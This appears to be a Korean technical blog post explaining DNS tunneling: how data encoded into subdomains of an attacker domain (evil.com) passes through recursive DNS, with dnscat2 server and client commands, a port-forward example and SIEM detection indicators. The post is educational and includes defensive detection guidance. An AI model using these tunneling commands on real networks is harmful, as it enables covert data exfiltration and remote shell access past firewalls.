hhkb.dev

BLOG

2025-12-20 / 피버팅과터널링 · 15

DNS 터널링

1. 개요

DNS 터널링(DNS Tunneling)은 직접적인 IP 통신이 어려운 환경에서 DNS 프로토콜(UDP 53)을 데이터 경로처럼 사용하는 구조다. 일반적인 서비스 경로가 아니라, 예외적으로 남아 있는 이름 해석 경로를 활용한다는 점이 핵심이다.

많은 환경에서 외부 직접 접속은 제한돼도, 내부 DNS 서버를 통한 외부 질의 자체는 남아 있는 경우가 있다. 이 문서는 그런 재귀 질의(Recursive Query) 구조가 어떻게 데이터 전달 경로처럼 보일 수 있는지 설명한다.

2. 동작 원리

2.1 일반적인 DNS 질의 과정

클라이언트는 www.google.com의 IP를 알기 위해 로컬 DNS 서버에 물어보고, 로컬 DNS는 루트 힌트부터 시작하여 최종적으로 google.com의 권한 있는 네임서버(Authoritative Name Server)에 질의한다.

2.2 터널링 메커니즘

공격자는 자신이 관리하는 도메인(예: evil.com)의 권한 있는 네임서버(Authoritative NS)를 공격자 서버로 지정해 둔다.

  1. 데이터 인코딩: 피벗 호스트(감염된 PC)는 외부로 유출할 데이터를 16진수나 Base32 등으로 인코딩하여, 공격자 도메인의 서브도메인 부분에 삽입한다.
    • 예: [EncodedData].evil.com에 대한 A 레코드 또는 TXT 레코드 질의 시도.
  2. 질의 전달 (Forwarding): 피벗 호스트 -> 내부 DNS 서버 -> ... -> **공격자 DNS 서버(evil.com)**로 질의가 전달된다. 중간 방화벽은 이를 정상적인 DNS 트래픽으로 간주한다.
  3. 데이터 수신 및 응답: 공격자 서버는 서브도메인([EncodedData])을 복호화하여 데이터를 획득한다. 그리고 피벗 호스트에게 보낼 명령어나 데이터를 DNS 응답 패킷의 TXT 레코드CNAME 레코드 등에 담아 반환한다.

3. 도구 예시: dnscat2

dnscat2는 DNS 터널링 구조를 설명할 때 자주 예시로 함께 나오는 도구다.

3.1 서버 설정 (공격자)

# Ruby 기반 서버 실행. 도메인 소유 시 해당 도메인 지정.
ruby ./dnscat2.rb [EvilDomain]

도메인이 없을 경우 cdns 모드로 직접 연결할 수도 있지만, 실제 방화벽 우회 효과를 보려면 정식 도메인과 NS 레코드 설정이 필요하다.

3.2 클라이언트 실행 (피벗 호스트)

# 서버 접속 시 제공된 Secret 값 사용
./dnscat --secret=[SecretKey] [EvilDomain]

3.3 기능

연결이 수립되면 공격자는 가상 쉘을 획득하며, 파일 다운로드/업로드, 쉘 실행, 포트 포워딩(listen 명령어) 등의 기능을 수행할 수 있다. 예를 들어, listen 2222:127.0.0.1:22 명령은 DNS 터널을 통해 포트 포워딩을 수행한다.

4. OpsSec 및 탐지

DNS 터널링은 속도는 느리지만, 구조상 일반 DNS와 섞여 보일 수 있다. 다만 아래 같은 특징 때문에 보안 관제 시스템(SIEM)에서 눈에 띄기 쉽다.

  • 비정상적인 도메인 질의 길이: 서브도메인 부분이 매우 길고 랜덤한 문자열로 구성된다.
  • 높은 질의 빈도: 짧은 시간에 특정 도메인에 대한 질의가 폭증한다.
  • TXT 레코드 남용: 일반적인 DNS 트래픽에서 잘 쓰이지 않는 TXT 레코드의 크기가 비정상적으로 크다.
  • 엔트로피 분석: 도메인 명의 무작위성(Entropy)이 높다.